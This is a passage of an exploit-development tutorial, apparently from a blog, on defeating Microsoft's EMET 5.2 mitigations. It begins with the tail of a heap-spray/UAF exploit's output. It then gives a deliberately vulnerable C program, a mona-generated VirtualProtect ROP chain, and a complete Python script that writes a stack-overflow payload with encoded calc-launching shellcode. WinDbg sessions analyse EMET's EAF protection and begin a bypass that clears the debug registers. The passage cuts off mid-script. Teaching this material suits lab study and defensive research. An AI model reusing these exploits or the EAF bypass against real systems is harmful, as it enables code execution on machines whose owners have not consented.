block 156: address = 0x0bb80020; size = 1048528
block 157: address = 0x0bc80020; size = 1048528
block 158: address = 0x0bd80020; size = 1048528
block 159: address = 0x0be80020; size = 1048528
block 160: address = 0x0bf80020; size = 1048528
block 161: address = 0x0c080020; size = 1048528
block 162: address = 0x0c180020; size = 1048528
block 163: address = 0x0c280020; size = 1048528
block 164: address = 0x0c380020; size = 1048528
block 165: address = 0x0c480020; size = 1048528
block 166: address = 0x0c580020; size = 1048528
block 167: address = 0x0c680020; size = 1048528
block 168: address = 0x0c780020; size = 1048528
block 169: address = 0x0c880020; size = 1048528
block 170: address = 0x0c980020; size = 1048528
block 171: address = 0x0ca80020; size = 1048528
block 172: address = 0x0cb80020; size = 1048528
block 173: address = 0x0cc80020; size = 1048528
block 174: address = 0x0cd80020; size = 1048528
block 175: address = 0x0ce80020; size = 1048528
block 176: address = 0x0cf80020; size = 1048528
block 177: address = 0x0d080020; size = 1048528
block 178: address = 0x0d180020; size = 1048528
block 179: address = 0x0d280020; size = 1048528
block 180: address = 0x0d380020; size = 1048528
block 181: address = 0x0d480020; size = 1048528
block 182: address = 0x0d580020; size = 1048528
block 183: address = 0x0d680020; size = 1048528
block 184: address = 0x0d780020; size = 1048528
block 185: address = 0x0d880020; size = 1048528
block 186: address = 0x0d980020; size = 1048528
block 187: address = 0x0da80020; size = 1048528
block 188: address = 0x0db80020; size = 1048528
block 189: address = 0x0dc80020; size = 1048528
block 190: address = 0x0dd80020; size = 1048528
block 191: address = 0x0de80020; size = 1048528
block 192: address = 0x0df80020; size = 1048528
block 193: address = 0x0e080020; size = 1048528
block 194: address = 0x0e180020; size = 1048528
block 195: address = 0x0e280020; size = 1048528
block 196: address = 0x0e380020; size = 1048528
block 197: address = 0x0e480020; size = 1048528
block 198: address = 0x0e580020; size = 1048528
block 199: address = 0x0e680020; size = 1048528
block 200: address = 0x0e780020; size = 1048528
block 201: address = 0x0e880020; size = 1048528
block 202: address = 0x0e980020; size = 1048528
----------------------

Index of block to mutate (-1 to exit): 0
1) Multiplier
2) LowerCaser
3) Exit
Your choice [1-3]: 1

As soon as we complete this sequence, the calculator pops up!

The post Exploitme5 (Heap spraying & UAF) appeared first on Exploit Development Community.

EMET 5.2

The acronym EMET stands for Enhanced Mitigation Experience Toolkit. As of this writing, the latest version of EMET is 5.2 (download).

As always, we’ll be working on Windows 7 SP1 64-bit.

Warning

EMET 5.2 may conflict with some Firewall and AntiVirus software. For instance, I spent hours wondering why EMET would detect exploitation attempts even where there were none. Eventually, I found out that it was a conflict with Comodo Firewall. I had to uninstall it completely.

Good Firewalls are not common so I left Comodo Firewall alone and decided to work in a Virtual Machine (I use VirtualBox).

Protections

As the name suggests, EMET tries to mitigate the effects of exploits. It does this by introducing the following protections:

  1. Data Execution Prevention (DEP)
    It stops the execution of instructions if they are located in areas of memory marked as no execute.
  2. Structured Exception Handler Overwrite Protection (SEHOP)
    It prevents exploitation techniques that aim at overwriting Windows Structured Exception Handler.
  3. Null Page Protection (NullPage)
    It pre-allocates the null page to prevent exploits from using it with malicious purpose.
  4. Heap Spray Protection (HeapSpray)
    It pre-allocates areas of memory the are commonly used by attackers to allocate malicious code.
    (For instance, 0x0a040a04; 0x0a0a0a0a; 0x0b0b0b0b; 0x0c0c0c0c; 0x0d0d0d0d; 0x0e0e0e0e; 0x04040404; 0x05050505; 0x06060606; 0x07070707; 0x08080808; 0x09090909; 0x20202020; 0x14141414)
  5. Export Address Table Access Filtering (EAF)
    It regulates access to the Export Address Table (EAT) based on the calling code.
  6. Export Address Table Access Filtering Plus (EAF+)
    It blocks read attempts to export and import table addresses originating from modules commonly used to probe memory during the exploitation of memory corruption vulnerabilities.
  7. Mandatory Address Space Layout Randomization (MandatoryASLR)
    It randomizes the location where modules are loaded in memory, limiting the ability of an attacker to point to pre-determined memory addresses.
  8. Bottom-Up Address Space Layout Randomization (BottomUpASLR)
    It improves the MandatoryASLR mitigation by randomizing the base address of bottom-up allocations.
  9. Load Library Protection (LoadLib)
    It stops the loading of modules located in UNC paths (e.g. \\evilsite\bad.dll), common technique in Return Oriented Programming (ROP) attacks.
  10. Memory Protection (MemProt)
    It disallows marking execute memory areas on the stack, common technique in Return Oriented Programming (ROP) attacks.
  11. ROP Caller Check (Caller)
    It stops the execution of critical functions if they are reached via a RET instruction, common technique in Return Oriented Programming (ROP) attacks.
  12. ROP Simulate Execution Flow (SimExecFlow)
    It reproduces the execution flow after the return address, trying to detect Return Oriented Programming (ROP) attacks.
  13. Stack Pivot (StackPivot)
    It checks if the stack pointer is changed to point to attacker-controlled memory areas, common technique in Return Oriented Programming (ROP) attacks.
  14. Attack Surface Reduction (ASR)
    It prevents defined modules from being loaded in the address space of the protected process.

This sounds pretty intimidating, doesn’t it? But let’s not give up before we even start!

The program

To analyze EMET with ease is better to use one of our little C/C++ applications. We’re going to reuse exploitme3.cpp (article) but with some modifications:

#include <cstdio>

_declspec(noinline) int f() {
    char name[32];
    printf("Reading name from file...\n");

    FILE *f = fopen("c:\\deleteme\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);

    printf("Hi, %s!\n", name);
    return 0;
}

int main() {
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;

    return f();
}

The stack variable moreStack gives us more space on the stack. Remember that the stack grows towards low addresses whereas fread writes going towards high addresses. Without this additional space on the stack, fread might reach the end of the stack and crash the program.

The for loop in main is needed otherwise moreStack is optimized away. Also, if function f is inlined, the buffer name is allocated after moreStack (i.e. towards the end of the stack) which defeats the purpose. To avoid this, we need to use _declspec(noinline).

As we did before, we’ll need to disable stack cookies, but leave DEP on, by going to Projectproperties, and modifying the configuration for Release as follows:

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Disable Security Check (/GS-)

Make sure that DEP is activated:

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): Yes (/NXCOMPAT)

ASLR considerations

We know that to beat ASLR we need some kind of info leak and in the next two chapters we’ll develop exploits for Internet Explorer 10 and 11 with ASLR enabled. But for now, let’s ignore ASLR and concentrate on DEP and ROP.

Our program exploitme3 uses the library msvcr120.dll. Unfortunately, every time the program is run, the library is loaded at a different address. We could build our ROP chain from system libraries (kernel32.dll, ntdll.dll, etc…), but that wouldn’t make much sense. We went to great lengths to build a reliable shellcode which gets the addresses of the API functions we want to call by looking them up in the Export Address Tables. If we were to hardcode the addresses of the gadgets taken from kernel32.dll and ntdll.dll then it’d make sense to hardcode the addresses of the API functions as well.

So, the right thing to do is to take our gadgets from msvcr120.dll. Unfortunately, while the base addresses of kernel32.dll and ntdll.dll change only when Windows is rebooted, as we’ve already said, the base address of msvcr120.dll changes whenever exploitme3 is run.

The difference between these two behaviors stems from the fact that kernel32.dll and ntdll.dll are already loaded in memory when exploitme3 is executed, whereas msvcr120.dll is not. Therefore, one solution is to run the following program:

#include <Windows.h>
#include <stdio.h>
#include <conio.h>

int main() {
    printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120"));
    printf("--- press any key ---\n");
    _getch();
    return 0;
}

As long as we don’t terminate this program, the base address of msvcr120.dll won’t change. When we run exploitme3, Windows will see that msvcr120.dll is already loaded in memory so it’ll simply map it in the address space of exploitme3. Moreover, msvcr120.dll will be mapped at the same address because it contains position-dependent code which wouldn’t work if placed at a different position.

Initial Exploit

Open EMET and click on the button Apps:
Image may be NSFW.
Clik here to view.
emet_1

Now click on Add Application and choose exploitme3.exe:
Image may be NSFW.
Clik here to view.
emet_2

You should see that exploitme3 has been added to the list:
Image may be NSFW.
Clik here to view.
emet_3

Let’s start by disabling EAF, LoadLib, MemProt, Caller, SimExecFlow and StackPivot:
Image may be NSFW.
Clik here to view.
emet_4

Press OK to confirm the settings.

Now let’s load exploitme3.exe in WinDbg (article) and use mona (article) to generate a rop chain for VirtualProtect:

.load pykd.pyd
!py mona rop -m msvcr120

Here’s the ROP chain found in the file rop_chains.txt created by mona:

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
    0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
    0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
    0x00000201,  # 0x00000201-> ebx
    0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
    0x00000040,  # 0x00000040-> edx
    0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
    0x705658f2,  # &Writable location [MSVCR120.dll]
    0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
    0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
    0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
    0x70493a17,  # JMP [EAX] [MSVCR120.dll]
    0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
    0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
    0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
    0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

We’ve already seen how this chain works in the chapter Exploitme3 (DEP), so we won’t repeat ourselves. We’ll also take the script to generate the file name.dat from the same chapter and modify it as needed. This is the initial version:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        code_size = len(shellcode)
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
        f.write(name)

write_file(r'c:\deleteme\name.dat')

Note that you need to assign to the variable msvcr120 the correct value. Remember to run and keep open the little program we talked about to stop msvcr120.dll from changing base address. That little program also tells us the current base address of msvcr120.dll.

Now run exploitme3.exe and the calculator will pop up!

EAF

Let’s enable EAF protection for exploitme3 and run exploitme3 again. This time EMET detects our exploit and closes exploitme3. The official description of EAF says that it

regulates access to the Export Address Table (EAT) based on the calling code.

As a side note, before debugging exploitme3.exe, make sure that exploitme3.pdb, which contains debugging information, is in the same directory as exploitme3.exe.

Let’s open exploitme3 in WinDbg (Ctrl+E), then put a breakpoint on main:

bp exploitme3!main

When we hit F5 (go), we get an odd exception:

(f74.c20): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8
eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000287
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2            add     eax,edx

Here’s the code:

76ec018e ff7618          push    dword ptr [esi+18h]
76ec0191 ff75e0          push    dword ptr [ebp-20h]
76ec0194 e819020000      call    ntdll!LdrpNameToOrdinal (76ec03b2)
76ec0199 8b55d8          mov     edx,dword ptr [ebp-28h]
76ec019c 0fb7c0          movzx   eax,ax
76ec019f 0fb7c8          movzx   ecx,ax
76ec01a2 3b4e14          cmp     ecx,dword ptr [esi+14h]
76ec01a5 0f83b6f60000    jae     ntdll!LdrpSnapThunk+0x12b (76ecf861)
76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception
76ec01ae 03c2            add     eax,edx       <--------------------- we're here!
76ec01b0 8d0c88          lea     ecx,[eax+ecx*4]
76ec01b3 8b01            mov     eax,dword ptr [ecx]
76ec01b5 03c2            add     eax,edx
76ec01b7 8b7d14          mov     edi,dword ptr [ebp+14h]
76ec01ba 8907            mov     dword ptr [edi],eax
76ec01bc 3bc6            cmp     eax,esi
76ec01be 0f87ca990000    ja      ntdll!LdrpSnapThunk+0x1d7 (76ec9b8e)
76ec01c4 833900          cmp     dword ptr [ecx],0

A single step exception is a debugging exception. It’s likely that the exception was generated by the previous line of code:

76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception

Let’s see what esi points to:

0:000> ln @esi
(7645ff70)   kernel32!$$VProc_ImageExportDirectory   |  (76480000)   kernel32!BasepAllowResourceConversion
Exact matches:
    kernel32!$$VProc_ImageExportDirectory = <no type information>

It seems that esi points to kernel32‘s EAT! We can confirm that esi really points to the Export Directory (another name for EAT) this way:

0:000> !dh kernel32

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
53159A85 time date stamp Tue Mar 04 10:19:01 2014

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   D0000 size of code
   30000 size of initialized data
       0 size of uninitialized data
   13293 address of entry point
   10000 base of code
         ----- new -----
763a0000 image base
   10000 section alignment
   10000 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
  110000 size of image
   10000 size of headers
  1105AE checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   BFF70 [    A9B1] address  of Export Directory      <----------------------------------
   CA924 [     1F4] address  of Import Directory
   F0000 [     528] address  of Resource Directory
       0 [       0] address  of Exception Directory
       0 [       0] address  of Security Directory
  100000 [    AD9C] address  of Base Relocation Directory
   D0734 [      38] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
   83510 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
   10000 [     DF0] address  of Import Address Table Directory
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory


SECTION HEADER #1
   .text name
   C0796 virtual size
   10000 virtual address
   D0000 size of raw data
   10000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read


Debug Directories(2)
  Type       Size     Address  Pointer
  cv           26       d0770    d0770    Format: RSDS, guid, 2, wkernel32.pdb
  (    10)       4       d076c    d076c

SECTION HEADER #2
   .data name
    100C virtual size
   E0000 virtual address
   10000 size of raw data
   E0000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write

SECTION HEADER #3
   .rsrc name
     528 virtual size
   F0000 virtual address
   10000 size of raw data
   F0000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #4
  .reloc name
    AD9C virtual size
  100000 virtual address
   10000 size of raw data
  100000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

We can see that esi points indeed to the Export Directory:

0:000> ? @esi == kernel32 + bff70
Evaluate expression: 1 = 00000001            (1 means True)

The instruction which generated the exception accessed the Export Directory at offset 0x1c. Let’s see what there is at that offset by having a look at the file winnt.h:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;          // 0
    DWORD   TimeDateStamp;            // 4
    WORD    MajorVersion;             // 8
    WORD    MinorVersion;             // 0xa
    DWORD   Name;                     // 0xc
    DWORD   Base;                     // 0x10
    DWORD   NumberOfFunctions;        // 0x14
    DWORD   NumberOfNames;            // 0x18    
    DWORD   AddressOfFunctions;       // 0x1c   <----------------------
    DWORD   AddressOfNames;           // 0x20
    DWORD   AddressOfNameOrdinals;    // 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

In the chapter Shellcode we saw that AddressOfFunctions is the RVA of an array containing the RVAs of the exported functions.

By looking at the stack trace we realize that we’re in the function GetProcAddress:

0:000> k 10
ChildEBP RetAddr  
003ef290 76ec032a ntdll!LdrpSnapThunk+0x1c1
003ef34c 76ec0202 ntdll!LdrGetProcedureAddressEx+0x1ca
003ef368 76261e59 ntdll!LdrGetProcedureAddress+0x18
003ef390 73c8d45e KERNELBASE!GetProcAddress+0x44      <------------------------
003ef3a4 73c8ca0d MSVCR120!__crtLoadWinApiPointers+0x1d [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 752]
003ef3a8 73c8ca91 MSVCR120!_mtinit+0x5 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 97]
003ef3d8 73c71a5f MSVCR120!__CRTDLL_INIT+0x2f [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 235]
003ef3ec 76ec99a0 MSVCR120!_CRTDLL_INIT+0x1c [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 214]
003ef40c 76ecd939 ntdll!LdrpCallInitRoutine+0x14
003ef500 76ed686c ntdll!LdrpRunInitializeRoutines+0x26f
003ef680 76ed5326 ntdll!LdrpInitializeProcess+0x1400
003ef6d0 76ec9ef9 ntdll!_LdrpInitialize+0x78
003ef6e0 00000000 ntdll!LdrInitializeThunk+0x10

Since it’s the first time we’ve seen such an exception, it must be EMET’s doing. It seems that EMET’s EAF intercepts any accesses to the field AddressOfFunctions of some Export Directories. Which ones? And how does it do that?

In WinDbg, we could do such a thing by using ba, which relies on hardware breakpoints, so EMET must be using the same method. Let’s have a look at the debug registers:

0:000> rM 20
dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2            add     eax,edx

(When you don’t know a command, look it up with .hh.)

The value in dr1 looks familiar:

0:000> ? @dr1 == esi+1c
Evaluate expression: 1 = 00000001

Perfect match!

Debug Registers

Let’s be honest here: there’s no need to learn the format of the debug registers. It’s pretty clear that in our case dr0, dr1 and dr2 contain the addresses where the hardware breakpoints are. Let’s see where they point (we’ve already looked at dr1):

0:000> ln dr0
(76ea01e8)   ntdll!$$VProc_ImageExportDirectory+0x1c   |  (76eaf8a0)   ntdll!NtMapUserPhysicalPagesScatter
0:000> ln dr1
(7645ff70)   kernel32!$$VProc_ImageExportDirectory+0x1c   |  (76480000)   kernel32!BasepAllowResourceConversion
0:000> ln dr2
(76288cb0)   KERNELBASE!_NULL_IMPORT_DESCRIPTOR+0x2bac   |  (76291000)   KERNELBASE!KernelBaseGlobalData

The first two points to the Export Directories of ntdll and kernel32 respectively, while the third one looks different. Let’s see:

0:000> !dh kernelbase

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
53159A86 time date stamp Tue Mar 04 10:19:02 2014

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   3F800 size of code
    4400 size of initialized data
       0 size of uninitialized data
    74C1 address of entry point
    1000 base of code
         ----- new -----
76250000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
   47000 size of image
     400 size of headers
   49E52 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   3B840 [    4F19] address  of Export Directory        <-------------------------
   38C9C [      28] address  of Import Directory
   43000 [     530] address  of Resource Directory
       0 [       0] address  of Exception Directory
       0 [       0] address  of Security Directory
   44000 [    25F0] address  of Base Relocation Directory
    1660 [      1C] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
    69D0 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
    1000 [     654] address  of Import Address Table Directory
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory


SECTION HEADER #1
   .text name
   3F759 virtual size
    1000 virtual address
   3F800 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read


Debug Directories(1)
  Type       Size     Address  Pointer
  cv           28        6a18     5e18    Format: RSDS, guid, 1, wkernelbase.pdb

SECTION HEADER #2
   .data name
    11E8 virtual size
   41000 virtual address
     400 size of raw data
   3FC00 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write

SECTION HEADER #3
   .rsrc name
     530 virtual size
   43000 virtual address
     600 size of raw data
   40000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #4
  .reloc name
    2A18 virtual size
   44000 virtual address
    2C00 size of raw data
   40600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only
0:000> ? kernelbase+3B840+1c
Evaluate expression: 1982380124 = 7628b85c    <----------------------
0:000> ? @dr2
Evaluate expression: 1982380124 = 7628b85c    <----------------------

No, false alarm: dr2 points to the Export Directory of KERNELBASE!

Anyway, just for our curiosity, let’s have a look at the Intel Manuals (3B). Here’s the format of the debug registers:
Image may be NSFW.
Clik here to view.
emet_5

It’s quite clear that registers DR0, DR1, DR2 and DR3 specify the addresses of the breakpoints. Register DR6 is a status register which reports information about the last debug exception, whereas DR7 contains the settings for the 4 breakpoints. If you are interested in the specifics, have a look at the manual yourself.

All we need to know is that to disable the breakpoints we can just clear the debug registers. Indeed, if you load exploitme3.exe in WinDbg and look at the debug registers before EMET modify them, you’ll see the following:

0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc              int     3

Clearing the debug registers (1)

Clearing the debug registers should be easy enough, right? Let’s try it!

We can put the code to clear the debug registers right before our shellcode so that our shellcode can access the Export Directories with impunity.

To generate the machine code, we can write the asm code in Visual Studio, debug the program and Go to the Disassembly (right click on an assembly instruction). From there, we can copy and paste the code in PyCharm and edit the code a bit.

Here’s the result:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
